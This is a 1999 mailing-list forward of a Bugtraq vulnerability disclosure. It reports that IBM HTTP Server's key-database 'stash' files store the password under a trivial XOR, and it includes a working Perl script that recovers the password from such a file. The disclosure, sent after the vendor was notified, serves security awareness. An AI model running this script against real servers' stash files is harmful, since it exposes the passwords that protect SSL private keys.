FW: password leak in IBM WebSphere / HTTP Server / ikeyman -- MIDRANGE-L

I just pulled this off Bugtraq. Thought you folks would find it interesting
to say the least...

Bill Paris
Sorrento Cheese Co., Inc.
716-823-6262 x376
bparis@sccmail.com

-----Original Message-----
From: Bugtraq List [mailto:BUGTRAQ@SECURITYFOCUS.COM] On Behalf Of Major
Malfunction
Sent: Sunday, October 24, 1999 1:33 PM
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: password leak in IBM WebSphere / HTTP Server / ikeyman


Geeks,

Apologies for the lack of b4d sp3ll1ng and WeIrD CaPiTAliSation, but I'm
really not in the mood... :P

IBM WebSphere has the option to use the IBM HTTP Server as it's
underlying web server. If you do this, you have the further option to
use SSL connections. If you do this, you must create a "key database"
using the tool "ikeyman" to store your server certificate/key pair. The
key database must have a password to protect it, which is not allowed to
be null. IBM, in their documentation, give sage advice about the
importance of this password, and what lengths you should go to choose a
good one:

  > Setting the database password
  >
  > When you create a new key database, you specify a key database
password. This
  > password is important because it protects the private
  > key. The private key is the only key that can sign documents or
decrypt
  > messages encrypted with the public key. It's a good practice to
  > change the key database password frequently.
  > Use the following guidelines when specifying the password:
  >
  >        The password must be from the U.S. English character set.
  >        The password should be at least six characters and contain at
least two
  >        nonconsecutive numbers. Make sure the password
  >        doesn't consist of publicly obtainable information about you,
such as
  >        the initials and birth date for you, your spouse, or
children.

Having created your database, you must store the password in a "stash"
file, which the web server will read. Unfortunately, the stash file can
be "decrypted" with the following code:

--- start unstash.pl ---

#!/usr/bin/perl -w
#
# unstash.pl - "decrypt" IBM HTTP server stash files. No, really. They
*are* this pathetic.
#
# sploit (BoByRiTe) 1999, Major Malfunction, code by Ben Laurie, cos I
dudn't dud perly thing.

use strict;

die "Usage: $0 <stash file>\n" if $#ARGV != 0;

my $file=$ARGV[0];
open(F,$file) || die "Can't open $file: $!";

my $stash;
read F,$stash,1024;

my @unstash=map { $_^0xf5 } unpack("C*",$stash);

foreach my $c (@unstash) {
    last if $c eq 0;
    printf "%c",$c;
}
printf "\n";

--- end unstash.pl ---

The problem here is not that the stash file exists in the first place,
as, unless there is some external token based system, there is no real
way around the problem of automating startup securely, but that it is
disguised as a "secure" part of the system. This is liable to lead to an
exploit of other facilities via the re-used password stored in this
file.

I am not sure what other IBM applications (if any) use ikeyman, but if
there are any they may have similar problems.

IBM were made aware of this a couple of weeks ago, and have stated that
they will update their documentation to explain the situation better,
and make lusers aware of the risks...

cheers,
MM
--
my, my... no sig! do I detect the Hand of Gates?

+---
| This is the Midrange System Mailing List!
| To submit a new message, send your mail to MIDRANGE-L@midrange.com.
| To subscribe to this list send email to MIDRANGE-L-SUB@midrange.com.
| To unsubscribe from this list send email to MIDRANGE-L-UNSUB@midrange.com.
| Questions should be directed to the list owner/operator: david@midrange.com
+---